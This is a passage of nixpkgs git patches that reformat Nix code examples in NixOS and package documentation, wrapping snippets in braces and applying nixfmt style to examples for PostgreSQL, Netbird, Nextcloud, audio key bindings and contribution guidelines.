   To make the `azure-cli` immutable and prevent clashes in case `azure-cli` is also installed via other package managers, some configuration files were moved into the derivation.
   This can be disabled by overriding `withImmutableConfig = false` when building `azure-cli`.
diff --git a/nixos/doc/manual/release-notes/rl-2411.section.md b/nixos/doc/manual/release-notes/rl-2411.section.md
index fc335a19f4ef..3361b46d5e64 100644
--- a/nixos/doc/manual/release-notes/rl-2411.section.md
+++ b/nixos/doc/manual/release-notes/rl-2411.section.md
@@ -615,8 +615,10 @@
   Then, follow the instructions on the [upstream release notes](https://github.com/majewsky/portunus/releases/tag/v2.0.0) to upgrade all existing user accounts to strong password hashes.
   If you need to upgrade to 24.11 without having completed the migration, consider the security implications of weak password hashes on your user accounts, and add the following to your configuration:
   ```nix
-  services.portunus.package      = pkgs.portunus.override { libxcrypt = pkgs.libxcrypt-legacy; };
-  services.portunus.ldap.package = pkgs.openldap.override { libxcrypt = pkgs.libxcrypt-legacy; };
+  {
+    services.portunus.package      = pkgs.portunus.override { libxcrypt = pkgs.libxcrypt-legacy; };
+    services.portunus.ldap.package = pkgs.openldap.override { libxcrypt = pkgs.libxcrypt-legacy; };
+  }
   ```
 
 - The default value of `services.kubernetes.kubelet.hostname` is now lowercased.
@@ -956,24 +958,26 @@ If you set `sound.mediaKeys` in your configuration:
   - If you want to maintain the exact behavior of the option, use the following snippet
 
 ```nix
-services.actkbd = let
-  volumeStep = "1%";
-in {
-  enable = true;
-  bindings = [
-    # "Mute" media key
-    { keys = [ 113 ]; events = [ "key" ];       command = "${alsa-utils}/bin/amixer -q set Master toggle"; }
+{
+  services.actkbd = let
+    volumeStep = "1%";
+  in {
+    enable = true;
+    bindings = [
+      # "Mute" media key
+      { keys = [ 113 ]; events = [ "key" ];       command = "${alsa-utils}/bin/amixer -q set Master toggle"; }
 
-    # "Lower Volume" media key
-    { keys = [ 114 ]; events = [ "key" "rep" ]; command = "${alsa-utils}/bin/amixer -q set Master ${volumeStep}- unmute"; }
+      # "Lower Volume" media key
+      { keys = [ 114 ]; events = [ "key" "rep" ]; command = "${alsa-utils}/bin/amixer -q set Master ${volumeStep}- unmute"; }
 
-    # "Raise Volume" media key
-    { keys = [ 115 ]; events = [ "key" "rep" ]; command = "${alsa-utils}/bin/amixer -q set Master ${volumeStep}+ unmute"; }
+      # "Raise Volume" media key
+      { keys = [ 115 ]; events = [ "key" "rep" ]; command = "${alsa-utils}/bin/amixer -q set Master ${volumeStep}+ unmute"; }
 
-    # "Mic Mute" media key
-    { keys = [ 190 ]; events = [ "key" ];       command = "${alsa-utils}/bin/amixer -q set Capture toggle"; }
-  ];
-};
+      # "Mic Mute" media key
+      { keys = [ 190 ]; events = [ "key" ];       command = "${alsa-utils}/bin/amixer -q set Capture toggle"; }
+    ];
+  };
+}
 ```
 
 ### `hardware.deviceTree.overlays` compatible string matching {#sec-release-24.11-migration-dto-compatible}
diff --git a/nixos/doc/manual/release-notes/rl-2505.section.md b/nixos/doc/manual/release-notes/rl-2505.section.md
index 2585699b3771..d97e9a7bf1b2 100644
--- a/nixos/doc/manual/release-notes/rl-2505.section.md
+++ b/nixos/doc/manual/release-notes/rl-2505.section.md
@@ -349,10 +349,12 @@ Alongside many enhancements to NixOS modules and general system improvements, th
 - To avoid delaying user logins unnecessarily the `multi-user.target` is no longer ordered after `network-online.target`.
   System services requiring a connection to start correctly must explicitly state so, i.e.
   ```nix
-  systemd.services.<name> = {
-    wants = [ "network-online.target" ];
-    after = [ "network-online.target" ];
-  };
+  {
+    systemd.services."<name>" = {
+      wants = [ "network-online.target" ];
+      after = [ "network-online.target" ];
+    };
+  }
   ```
   This changed follows a deprecation period of one year started in NixOS 24.05 (see [PR #283818](https://github.com/NixOS/nixpkgs/pull/283818)).
 
@@ -454,15 +456,17 @@ Alongside many enhancements to NixOS modules and general system improvements, th
   Example:
 
   ```nix
-  services.mysql = {
-    enable = true;
-    galeraCluster = {
+  {
+    services.mysql = {
       enable = true;
-      localName = "Node 1";
-      localAddress = "galera_01";
-      nodeAddresses = [ "galera_01" "galera_02" "galera_03"];
+      galeraCluster = {
+        enable = true;
+        localName = "Node 1";
+        localAddress = "galera_01";
+        nodeAddresses = [ "galera_01" "galera_02" "galera_03"];
+      };
     };
-  };
+  }
   ```
 
 - systemd's {manpage}`systemd-ssh-generator(8)` now works out of the box on NixOS.
diff --git a/nixos/modules/services/databases/postgresql.md b/nixos/modules/services/databases/postgresql.md
index 41e42d911947..d7449fc35045 100644
--- a/nixos/modules/services/databases/postgresql.md
+++ b/nixos/modules/services/databases/postgresql.md
@@ -102,34 +102,34 @@ databases from `ensureDatabases` and `extraUser1` from `ensureUsers`
 are already created.
 
 ```nix
-  {
-    systemd.services.postgresql.postStart = lib.mkAfter ''
-      $PSQL service1 -c 'GRANT SELECT ON ALL TABLES IN SCHEMA public TO "extraUser1"'
-      $PSQL service1 -c 'GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO "extraUser1"'
-      # ....
-    '';
-  }
+{
+  systemd.services.postgresql.postStart = lib.mkAfter ''
+    $PSQL service1 -c 'GRANT SELECT ON ALL TABLES IN SCHEMA public TO "extraUser1"'
+    $PSQL service1 -c 'GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO "extraUser1"'
+    # ....
+  '';
+}
 ```
 
 ##### in intermediate oneshot service {#module-services-postgres-initializing-extra-permissions-superuser-oneshot}
 
 ```nix
-  {
-    systemd.services."migrate-service1-db1" = {
-      serviceConfig.Type = "oneshot";
-      requiredBy = "service1.service";
-      before = "service1.service";
-      after = "postgresql.service";
-      serviceConfig.User = "postgres";
-      environment.PSQL = "psql --port=${toString services.postgresql.settings.port}";
-      path = [ postgresql ];
-      script = ''
-        $PSQL service1 -c 'GRANT SELECT ON ALL TABLES IN SCHEMA public TO "extraUser1"'
-        $PSQL service1 -c 'GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO "extraUser1"'
-        # ....
-      '';
-    };
-  }
+{
+  systemd.services."migrate-service1-db1" = {
+    serviceConfig.Type = "oneshot";
+    requiredBy = "service1.service";
+    before = "service1.service";
+    after = "postgresql.service";
+    serviceConfig.User = "postgres";
+    environment.PSQL = "psql --port=${toString services.postgresql.settings.port}";
+    path = [ postgresql ];
+    script = ''
+      $PSQL service1 -c 'GRANT SELECT ON ALL TABLES IN SCHEMA public TO "extraUser1"'
+      $PSQL service1 -c 'GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO "extraUser1"'
+      # ....
+    '';
+  };
+}
 ```
 
 #### as service user {#module-services-postgres-initializing-extra-permissions-service-user}
@@ -141,36 +141,36 @@ are already created.
 ##### in service `preStart` {#module-services-postgres-initializing-extra-permissions-service-user-pre-start}
 
 ```nix
-  {
-    environment.PSQL = "psql --port=${toString services.postgresql.settings.port}";
-    path = [ postgresql ];
-    systemd.services."service1".preStart = ''
-      $PSQL -c 'GRANT SELECT ON ALL TABLES IN SCHEMA public TO "extraUser1"'
-      $PSQL -c 'GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO "extraUser1"'
-      # ....
-    '';
-  }
+{
+  environment.PSQL = "psql --port=${toString services.postgresql.settings.port}";
+  path = [ postgresql ];
+  systemd.services."service1".preStart = ''
+    $PSQL -c 'GRANT SELECT ON ALL TABLES IN SCHEMA public TO "extraUser1"'
+    $PSQL -c 'GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO "extraUser1"'
+    # ....
+  '';
+}
 ```
 
 ##### in intermediate oneshot service {#module-services-postgres-initializing-extra-permissions-service-user-oneshot}
 
 ```nix
-  {
-    systemd.services."migrate-service1-db1" = {
-      serviceConfig.Type = "oneshot";
-      requiredBy = "service1.service";
-      before = "service1.service";
-      after = "postgresql.service";
-      serviceConfig.User = "service1";
-      environment.PSQL = "psql --port=${toString services.postgresql.settings.port}";
-      path = [ postgresql ];
-      script = ''
-        $PSQL -c 'GRANT SELECT ON ALL TABLES IN SCHEMA public TO "extraUser1"'
-        $PSQL -c 'GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO "extraUser1"'
-        # ....
-      '';
-    };
-  }
+{
+  systemd.services."migrate-service1-db1" = {
+    serviceConfig.Type = "oneshot";
+    requiredBy = "service1.service";
+    before = "service1.service";
+    after = "postgresql.service";
+    serviceConfig.User = "service1";
+    environment.PSQL = "psql --port=${toString services.postgresql.settings.port}";
+    path = [ postgresql ];
+    script = ''
+      $PSQL -c 'GRANT SELECT ON ALL TABLES IN SCHEMA public TO "extraUser1"'
+      $PSQL -c 'GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO "extraUser1"'
+      # ....
+    '';
+  };
+}
 ```
 
 ## Authentication {#module-services-postgres-authentication}
@@ -188,13 +188,15 @@ Assume that your app creates a role `admin` and you want the `root` user to be a
 You can then use [](#opt-services.postgresql.identMap) to define the map and [](#opt-services.postgresql.authentication) to enable it:
 
 ```nix
-services.postgresql = {
-  identMap = ''
-    admin root admin
-  '';
-  authentication = ''
-    local all admin peer map=admin
-  '';
+{
+  services.postgresql = {
+    identMap = ''
+      admin root admin
+    '';
+    authentication = ''
+      local all admin peer map=admin
+    '';
+  };
 }
 ```
 
diff --git a/nixos/modules/services/monitoring/glances.md b/nixos/modules/services/monitoring/glances.md
index 69554b6bc5e4..071b2480ec2c 100644
--- a/nixos/modules/services/monitoring/glances.md
+++ b/nixos/modules/services/monitoring/glances.md
@@ -16,5 +16,5 @@ Use the following configuration to start a public instance of Glances locally:
     enable = true;
     openFirewall = true;
   };
-};
+}
 ```
diff --git a/nixos/modules/services/networking/crab-hole.md b/nixos/modules/services/networking/crab-hole.md
index a89a62fa0509..52a452b91545 100644
--- a/nixos/modules/services/networking/crab-hole.md
+++ b/nixos/modules/services/networking/crab-hole.md
@@ -103,7 +103,7 @@ Additionally you can set an optional timeout value.
       certificate = ./dns.example.com.crt;
       key = "/dns.example.com.key";
       # optional (default = 3000)
-      timeout_ms = 3000
+      timeout_ms = 3000;
     }
   ];
 }
diff --git a/nixos/modules/services/networking/jotta-cli.md b/nixos/modules/services/networking/jotta-cli.md
index 335e5c8e3856..d5629465377d 100644
--- a/nixos/modules/services/networking/jotta-cli.md
+++ b/nixos/modules/services/networking/jotta-cli.md
@@ -15,11 +15,13 @@ This adds `jotta-cli` to `environment.systemPackages` and starts a user service
 ## Example Configuration {#module-services-jotta-cli-example-configuration}
 
 ```nix
-services.jotta-cli = {
-  enable = true;
-  options = [ "slow" ];
-  package = pkgs.jotta-cli;
-};
+{
+  services.jotta-cli = {
+    enable = true;
+    options = [ "slow" ];
+    package = pkgs.jotta-cli;
+  };
+}
 ```
 
 This uses `jotta-cli` and `jottad` from the `pkgs.jotta-cli` package and starts `jottad` in low memory mode.
diff --git a/nixos/modules/services/networking/netbird/server.md b/nixos/modules/services/networking/netbird/server.md
index 3649e97b379e..1de251b80109 100644
--- a/nixos/modules/services/networking/netbird/server.md
+++ b/nixos/modules/services/networking/netbird/server.md
@@ -9,34 +9,36 @@ To fully setup Netbird as a self-hosted server, we need both a Coturn server and
 There are quite a few settings that need to be passed to Netbird for it to function, and a minimal config looks like :
 
 ```nix
-services.netbird.server = {
-  enable = true;
-
-  domain = "netbird.example.selfhosted";
-
-  enableNginx = true;
-
-  coturn = {
+{
+  services.netbird.server = {
     enable = true;
 
-    passwordFile = "/path/to/a/secret/password";
-  };
+    domain = "netbird.example.selfhosted";
 
-  management = {
-    oidcConfigEndpoint = "https://sso.example.selfhosted/oauth2/openid/netbird/.well-known/openid-configuration";
+    enableNginx = true;
 
-    settings = {
-      TURNConfig = {
-        Turns = [
-          {
-            Proto = "udp";
-            URI = "turn:netbird.example.selfhosted:3478";
-            Username = "netbird";
-            Password._secret = "/path/to/a/secret/password";
-          }
-        ];
+    coturn = {
+      enable = true;
+
+      passwordFile = "/path/to/a/secret/password";
+    };
+
+    management = {
+      oidcConfigEndpoint = "https://sso.example.selfhosted/oauth2/openid/netbird/.well-known/openid-configuration";
+
+      settings = {
+        TURNConfig = {
+          Turns = [
+            {
+              Proto = "udp";
+              URI = "turn:netbird.example.selfhosted:3478";
+              Username = "netbird";
+              Password._secret = "/path/to/a/secret/password";
+            }
+          ];
+        };
       };
     };
   };
-};
+}
 ```
diff --git a/nixos/modules/services/system/kerberos/kerberos-server.md b/nixos/modules/services/system/kerberos/kerberos-server.md
index 80c71be1541e..ba3b1057f382 100644
--- a/nixos/modules/services/system/kerberos/kerberos-server.md
+++ b/nixos/modules/services/system/kerberos/kerberos-server.md
@@ -24,7 +24,7 @@ To enable a Kerberos server:
         admin_server = "kerberos.example.com";
       };
     };
-  }
+  };
 
   services.kerberos-server = {
     enable = true;
diff --git a/nixos/modules/services/web-apps/nextcloud.md b/nixos/modules/services/web-apps/nextcloud.md
index 18ee61b43583..ce09181e1a81 100644
--- a/nixos/modules/services/web-apps/nextcloud.md
+++ b/nixos/modules/services/web-apps/nextcloud.md
@@ -208,7 +208,9 @@ release notes when upgrading.
     the cache size to zero:
 
     ```nix
-    services.nextcloud.phpOptions."realpath_cache_size" = "0";
+    {
+      services.nextcloud.phpOptions."realpath_cache_size" = "0";
+    }
     ```
 
 ## Using an alternative webserver as reverse-proxy (e.g. `httpd`) {#module-services-nextcloud-httpd}
@@ -276,9 +278,9 @@ that are managed by Nix:
 
 ```nix
 { config, pkgs, ... }: {
-  services.nextcloud.extraApps = with config.services.nextcloud.package.packages.apps; [
+  services.nextcloud.extraApps = with config.services.nextcloud.package.packages.apps; {
     inherit user_oidc calendar contacts;
-  ];
+  };
 }
 ```
 
diff --git a/pkgs/by-name/README.md b/pkgs/by-name/README.md
index d19495730995..03e6996385d7 100644
--- a/pkgs/by-name/README.md
+++ b/pkgs/by-name/README.md
@@ -99,9 +99,14 @@ Definitions like the following however, _can_ be transitioned:
 
 ```nix
 # all-packages.nix
-fooWithBaz = foo.override {
-  bar = baz;
-};
+{
+  fooWithBaz = foo.override {
+    bar = baz;
+  };
+}
+```
+
+```nix
 # turned into pkgs/by-name/fo/fooWithBaz/package.nix with:
 {
   foo,
diff --git a/pkgs/by-name/az/azure-cli/README.md b/pkgs/by-name/az/azure-cli/README.md
index 5907f1916f8f..29964f91948b 100644
--- a/pkgs/by-name/az/azure-cli/README.md
+++ b/pkgs/by-name/az/azure-cli/README.md
@@ -56,6 +56,7 @@ The output should look something like this:
 Based on this, you can add an attribute to `extensions-manual.nix`:
 
 ```nix
+{
   azure-devops = mkAzExtension {
     pname = "azure-devops";
     version = "1.0.0";
@@ -67,6 +68,7 @@ Based on this, you can add an attribute to `extensions-manual.nix`:
     ];
     meta.maintainers = with lib.maintainers; [ katexochen ];
   };
+}
 ```
 
 * The attribute name should be the same as `pname`.
@@ -113,5 +115,7 @@ If extensions are removed upstream, an alias is added to the end of `extensions-
 this example:
 
 ```nix
-blockchain = throw "The 'blockchain' extension for azure-cli was deprecated upstream"; # Added 2024-04-26
+{
+  blockchain = throw "The 'blockchain' extension for azure-cli was deprecated upstream"; # Added 2024-04-26
+}
 ```
diff --git a/pkgs/servers/home-assistant/custom-components/README.md b/pkgs/servers/home-assistant/custom-components/README.md
index b4115c63d061..c51e6512538e 100644
--- a/pkgs/servers/home-assistant/custom-components/README.md
+++ b/pkgs/servers/home-assistant/custom-components/README.md
@@ -80,6 +80,7 @@ needs to be. Instead of applying brittle substitutions the version constraint
 can be ignored on a per requirement basis.
 
 ```nix
+{
   dependencies = [
     pyemvue
   ];
@@ -88,5 +89,5 @@ can be ignored on a per requirement basis.
   ignoreVersionRequirement = [
     "pyemvue"
   ];
+}
 ```
-`

From a46262ae77e4016fe5a4a390c4a39c0c1b266428 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 22 Jul 2025 16:14:50 +0200
Subject: [PATCH 2847/4511] treewide: run treefmt with mdcr/nixfmt

---
 CONTRIBUTING.md                               |  50 ++++----
 .../fixed-point-arguments.chapter.md          |   5 +-
 .../images/appimagetools.section.md           |   8 +-
 .../images/binarycache.section.md             |   5 +-
 .../images/dockertools.section.md             |   4 +-
 doc/build-helpers/images/ocitools.section.md  |   4 +-
 .../special/checkpoint-build.section.md       |  31 ++---
 doc/build-helpers/testers.chapter.md          |  12 +-
 .../trivial-build-helpers.chapter.md          |  13 +-
 doc/functions/generators.section.md           |   2 +-
 doc/functions/nix-gitignore.section.md        |  21 +++-
 doc/hooks/breakpoint.section.md               |   4 +-
 doc/hooks/memcached-test-hook.section.md      |  14 +--
 doc/hooks/patch-rc-path-hooks.section.md      |   4 +-
 doc/hooks/redis-test-hook.section.md          |   8 +-
 doc/hooks/tauri.section.md                    |  22 ++--
 doc/hooks/versionCheckHook.section.md         |   4 +-
 doc/hooks/zig.section.md                      |   4 +-
 doc/interoperability/cyclonedx.md             |   4 +-
 doc/languages-frameworks/agda.section.md      |   4 +-
 doc/languages-frameworks/android.section.md   |  18 +--
 doc/languages-frameworks/beam.section.md      |  14 +--
 doc/languages-frameworks/chicken.section.md   |   4 +-
 doc/languages-frameworks/coq.section.md       |   8 +-
 doc/languages-frameworks/cuda.section.md      |   8 +-
 doc/languages-frameworks/dhall.section.md     |   4 +-
 doc/languages-frameworks/dotnet.section.md    |   8 +-
 .../emscripten.section.md                     | 107 ++++++++--------
 doc/languages-frameworks/factor.section.md    |   5 +-
 doc/languages-frameworks/gnome.section.md     |   4 +-
 doc/languages-frameworks/go.section.md        |   8 +-
 doc/languages-frameworks/haskell.section.md   |  12 +-
 doc/languages-frameworks/ios.section.md       |  16 +--
 doc/languages-frameworks/java.section.md      |   6 +-
 .../javascript.section.md                     |  24 ++--
 doc/languages-frameworks/lisp.section.md      |  10 +-
 doc/languages-frameworks/neovim.section.md    |   4 +-
 doc/languages-frameworks/nim.section.md       |   4 +-
 doc/languages-frameworks/octave.section.md    |   4 +-
 doc/languages-frameworks/php.section.md       |   8 +-
 doc/languages-frameworks/python.section.md    | 115 ++++--------------
 doc/languages-frameworks/qt.section.md        |   2 +-
 doc/languages-frameworks/ruby.section.md      |   8 +-
 doc/languages-frameworks/rust.section.md      |  16 +--
 doc/languages-frameworks/scheme.section.md    |   1 -
 doc/languages-frameworks/swift.section.md     |  14 +--
 doc/languages-frameworks/texlive.section.md   |  42 +++----
 doc/languages-frameworks/typst.section.md     |   9 +-
 doc/packages/cataclysm-dda.section.md         |  16 +--
 doc/packages/inkscape.section.md              |   4 +-
 doc/packages/kakoune.section.md               |   4 +-
 doc/packages/urxvt.section.md                 |   4 +-
 doc/release-notes/rl-2505.section.md          |   2 +-
 doc/stdenv/cross-compilation.chapter.md       |  22 +---
 doc/stdenv/meta.chapter.md                    |   8 +-
 doc/stdenv/stdenv.chapter.md                  |  22 +---
 doc/using/configuration.chapter.md            |  30 +----
 doc/using/overlays.chapter.md                 |  24 +---
 doc/using/overrides.chapter.md                |  16 +--
 maintainers/README.md                         |   6 +-
 .../container-networking.section.md           |   6 +-
 .../administration/control-groups.chapter.md  |   8 +-
 .../declarative-containers.section.md         |  13 +-
 .../administration/service-mgmt.chapter.md    |   4 +-
 .../configuration/abstractions.section.md     |  88 ++++++++------
 .../ad-hoc-network-config.section.md          |   7 +-
 .../adding-custom-packages.section.md         |  24 ++--
 .../configuration/config-file.section.md      |   9 +-
 .../customizing-packages.section.md           |  26 ++--
 .../declarative-packages.section.md           |   4 +-
 .../configuration/file-systems.chapter.md     |   8 +-
 .../manual/configuration/firewall.section.md  |  19 ++-
 .../manual/configuration/gpu-accel.chapter.md |  35 ++----
 .../configuration/ipv4-config.section.md      |  14 +--
 .../configuration/ipv6-config.section.md      |  18 ++-
 .../configuration/kubernetes.chapter.md       |  13 +-
 .../configuration/linux-kernel.chapter.md     |  36 +++---
 .../luks-file-systems.section.md              |  11 +-
 .../configuration/mattermost.chapter.md       |   8 +-
 .../configuration/modularity.section.md       |  37 +++---
 .../configuration/network-manager.section.md  |  12 +-
 .../manual/configuration/profiles.chapter.md  |   6 +-
 nixos/doc/manual/configuration/ssh.section.md |   7 +-
 .../sshfs-file-systems.section.md             |  37 +++---
 .../configuration/subversion.chapter.md       |  47 ++++---
 .../manual/configuration/user-mgmt.chapter.md |  25 ++--
 .../manual/configuration/wayland.chapter.md   |   4 +-
 .../manual/configuration/wireless.section.md  |  15 +--
 .../manual/configuration/x-windows.chapter.md |  46 +++----
 .../manual/development/assertions.section.md  |  25 ++--
 .../manual/development/bootspec.chapter.md    |   3 +-
 .../manual/development/etc-overlay.section.md |   8 +-
 .../development/freeform-modules.section.md   |   3 +-
 .../development/importing-modules.section.md  |  17 ++-
 .../development/meta-attributes.section.md    |   7 +-
 .../non-switchable-systems.section.md         |   3 +-
 .../option-declarations.section.md            |  95 ++++++++-------
 .../manual/development/option-def.section.md  |  83 ++++++++-----
 .../development/option-types.section.md       |  74 +++++------
 .../development/replace-modules.section.md    |  26 ++--
 ...nning-nixos-tests-interactively.section.md |   4 +-
 .../development/settings-options.section.md   |  21 +++-
 .../development/writing-modules.chapter.md    |  97 +++++++++------
 .../writing-nixos-tests.section.md            |  60 ++++-----
 ...lding-images-via-systemd-repart.chapter.md |  68 ++++++-----
 .../installation/building-nixos.chapter.md    |   5 +-
 .../installation/changing-config.chapter.md   |   4 +-
 .../installing-from-other-distro.section.md   |   4 +-
 .../installation/installing-kexec.section.md  |  11 +-
 .../installing-virtualbox-guest.section.md    |  15 ++-
 .../manual/installation/upgrading.chapter.md  |   4 +-
 .../manual/release-notes/rl-1404.section.md   |  12 +-
 .../manual/release-notes/rl-1412.section.md   |   4 +-
 .../manual/release-notes/rl-1509.section.md   |  37 +++---
 .../manual/release-notes/rl-1603.section.md   |  33 +++--
 .../manual/release-notes/rl-1609.section.md   |   4 +-
 .../manual/release-notes/rl-1703.section.md   |  18 ++-
 .../manual/release-notes/rl-1709.section.md   |   3 +-
 .../manual/release-notes/rl-1803.section.md   |   6 +-
 .../manual/release-notes/rl-1809.section.md   |  16 ++-
 .../manual/release-notes/rl-1903.section.md   |  53 ++++----
 .../manual/release-notes/rl-2003.section.md   |  55 +++++----
 .../manual/release-notes/rl-2009.section.md   |  43 +++----
 .../manual/release-notes/rl-2105.section.md   |  52 ++++----
 .../manual/release-notes/rl-2111.section.md   |   2 +-
 .../manual/release-notes/rl-2205.section.md   |  75 +++++++-----
 .../manual/release-notes/rl-2211.section.md   |  14 +--
 .../manual/release-notes/rl-2305.section.md   |  28 ++---
 .../manual/release-notes/rl-2311.section.md   |  12 +-
 .../manual/release-notes/rl-2405.section.md   |   7 +-
 .../manual/release-notes/rl-2411.section.md   |  64 ++++++----
 .../manual/release-notes/rl-2505.section.md   |   6 +-
 nixos/modules/i18n/input-method/default.md    |  17 ++-
 .../modules/programs/digitalbitbox/default.md |  18 +--
 nixos/modules/programs/plotinus.md            |   4 +-
 nixos/modules/programs/zsh/oh-my-zsh.md       |  10 +-
 nixos/modules/security/acme/default.md        |  56 +++++----
 nixos/modules/services/backup/borgbackup.md   |  37 +++---
 .../services/databases/foundationdb.md        |   8 +-
 .../modules/services/databases/postgresql.md  |  99 ++++++++-------
 .../modules/services/databases/tigerbeetle.md |   4 +-
 nixos/modules/services/desktops/flatpak.md    |   4 +-
 nixos/modules/services/development/athens.md  |  18 ++-
 .../modules/services/development/blackfire.md |   7 +-
 .../modules/services/development/livebook.md  |   5 +-
 nixos/modules/services/editors/emacs.md       |  99 ++++++++-------
 nixos/modules/services/hardware/display.md    |  81 ++++++------
 nixos/modules/services/mail/mailman.md        |  20 +--
 nixos/modules/services/matrix/maubot.md       |   4 +-
 nixos/modules/services/matrix/mjolnir.md      |  14 +--
 nixos/modules/services/matrix/synapse.md      |  39 +++---
 .../modules/services/misc/anki-sync-server.md |   4 +-
 nixos/modules/services/misc/dump1090-fa.md    |   4 +-
 nixos/modules/services/misc/forgejo.md        |   2 +-
 nixos/modules/services/misc/gitlab.md         |   4 +-
 .../services/misc/sourcehut/default.md        |  30 +++--
 .../modules/services/monitoring/parsedmarc.md |   4 +-
 .../monitoring/prometheus/exporters.md        |  46 ++++---
 .../network-filesystems/litestream/default.md |  34 +++---
 .../services/network-filesystems/samba.md     |   4 +-
 nixos/modules/services/networking/anubis.md   |   7 +-
 .../modules/services/networking/crab-hole.md  |   4 +-
 .../modules/services/networking/doh-server.md |   5 +-
 .../modules/services/networking/jotta-cli.md  |   4 +-
 .../modules/services/networking/mosquitto.md  |  56 +++++----
 nixos/modules/services/networking/netbird.md  |   4 +-
 nixos/modules/services/networking/pleroma.md  |  44 +++----
 nixos/modules/services/networking/prosody.md  |  19 +--
 .../modules/services/networking/yggdrasil.md  |  78 +++++++-----
 nixos/modules/services/search/meilisearch.md  |   4 +-
 .../system/kerberos/kerberos-server.md        |  10 +-
 .../services/system/systemd-lock-handler.md   |  10 +-
 nixos/modules/services/web-apps/akkoma.md     |  78 ++++++------
 .../services/web-apps/c2fmzq-server.md        |   4 +-
 nixos/modules/services/web-apps/castopod.md   |   5 +-
 nixos/modules/services/web-apps/filesender.md |   7 +-
 nixos/modules/services/web-apps/gotosocial.md |   5 +-
 nixos/modules/services/web-apps/jitsi-meet.md |  10 +-
 nixos/modules/services/web-apps/keycloak.md   |   2 +-
 nixos/modules/services/web-apps/nextcloud.md  |  30 +++--
 nixos/modules/services/web-apps/pict-rs.md    |   4 +-
 nixos/modules/services/web-servers/garage.md  |   2 +-
 .../services/x11/desktop-managers/gnome.md    |  16 +--
 .../services/x11/desktop-managers/pantheon.md |  19 +--
 nixos/modules/system/boot/clevis.md           |   8 +-
 .../system/boot/loader/external/external.md   |   3 +-
 pkgs/README.md                                | 100 +++++++++------
 .../applications/emulators/libretro/README.md |  18 +--
 pkgs/by-name/README.md                        |  41 +++----
 pkgs/by-name/az/azure-cli/README.md           |   4 +-
 pkgs/development/misc/resholve/README.md      |  75 ++++++++----
 .../development/tcl-modules/by-name/README.md |   9 +-
 .../custom-components/README.md               |  15 +--
 .../custom-lovelace-modules/README.md         |   4 +-
 194 files changed, 1981 insertions(+), 2031 deletions(-)

diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index d4a573f5bb3c..b1113127ec2b 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -559,7 +559,12 @@ If you have any problems with formatting, please ping the
 - Functions should list their expected arguments as precisely as possible. That is, write
 
   ```nix
-  { stdenv, fetchurl, perl }: <...>
+  {
+    stdenv,
+    fetchurl,
+    perl,
+  }:
+  <...>
   ```
 
   instead of
@@ -571,17 +576,25 @@ If you have any problems with formatting, please ping the
   or
 
   ```nix
-  { stdenv, fetchurl, perl, ... }: <...>
+  {
+    stdenv,
+    fetchurl,
+    perl,
+    ...
+  }:
+  <...>
   ```
 
   For functions that are truly generic in the number of arguments (such as wrappers around `mkDerivation`) that have some required arguments, you should write them using an `@`-pattern:
 
   ```nix
-  { stdenv, doCoverageAnalysis ? false, ... } @ args:
+  {
+    stdenv,
+    doCoverageAnalysis ? false,
+    ...
+  }@args:
 
-  stdenv.mkDerivation (args // {
-    foo = if doCoverageAnalysis then "bla" else "";
-  })
+  stdenv.mkDerivation (args // { foo = if doCoverageAnalysis then "bla" else ""; })
   ```
 
   instead of
@@ -589,41 +602,36 @@ If you have any problems with formatting, please ping the
   ```nix
   args:
 
-  args.stdenv.mkDerivation (args // {
-    foo = if args ? doCoverageAnalysis && args.doCoverageAnalysis then "bla" else "";
-  })
+  args.stdenv.mkDerivation (
+    args
+    // {
+      foo = if args ? doCoverageAnalysis && args.doCoverageAnalysis then "bla" else "";
+    }
+  )
   ```
 
 - Unnecessary string conversions should be avoided. Do
 
   ```nix
-  {
-    rev = version;
-  }
+  { rev = version; }
   ```
 
   instead of
 
   ```nix
-  {
-    rev = "${version}";
-  }
+  { rev = "${version}"; }
   ```
 
 - Building lists conditionally _should_ be done with `lib.optional(s)` instead of using `if cond then [ ... ] else null` or `if cond then [ ... ] else [ ]`.
 
   ```nix
-  {
-    buildInputs = lib.optional stdenv.hostPlatform.isDarwin iconv;
-  }
+  { buildInputs = lib.optional stdenv.hostPlatform.isDarwin iconv; }
   ```
 
   instead of
 
   ```nix
-  {
-    buildInputs = if stdenv.hostPlatform.isDarwin then [ iconv ] else null;
-  }
+  { buildInputs = if stdenv.hostPlatform.isDarwin then [ iconv ] else null; }
   ```
 
   As an exception, an explicit conditional expression with null can be used when fixing a important bug without triggering a mass rebuild.
diff --git a/doc/build-helpers/fixed-point-arguments.chapter.md b/doc/build-helpers/fixed-point-arguments.chapter.md
index 8e5d985ce858..4506d716b4c1 100644
--- a/doc/build-helpers/fixed-point-arguments.chapter.md
+++ b/doc/build-helpers/fixed-point-arguments.chapter.md
@@ -60,10 +60,7 @@ lib.extendMkDerivation {
     }@args:
     {
       # Arguments to pass
-      inherit
-        preferLocalBuild
-        allowSubstitute
-        ;
+      inherit preferLocalBuild allowSubstitute;
       # Some expressions involving specialArg
       greeting = if specialArg "hi" then "hi" else "hello";
     };
diff --git a/doc/build-helpers/images/appimagetools.section.md b/doc/build-helpers/images/appimagetools.section.md
index 7bfc45287d1f..c469124c3bd5 100644
--- a/doc/build-helpers/images/appimagetools.section.md
+++ b/doc/build-helpers/images/appimagetools.section.md
@@ -37,9 +37,7 @@ let
     hash = "sha256-he1uGC1M/nFcKpMM9JKY4oeexJcnzV0ZRxhTjtJz6xw=";
   };
 in
-appimageTools.wrapType2 {
-  inherit pname version src;
-}
+appimageTools.wrapType2 { inherit pname version src; }
 ```
 
 :::
@@ -104,9 +102,7 @@ let
     hash = "sha256-/hMPvYdnVB1XjKgU2v47HnVvW4+uC3rhRjbucqin4iI=";
   };
 
-  appimageContents = appimageTools.extract {
-    inherit pname version src;
-  };
+  appimageContents = appimageTools.extract { inherit pname version src; };
 in
 appimageTools.wrapType2 {
   inherit pname version src;
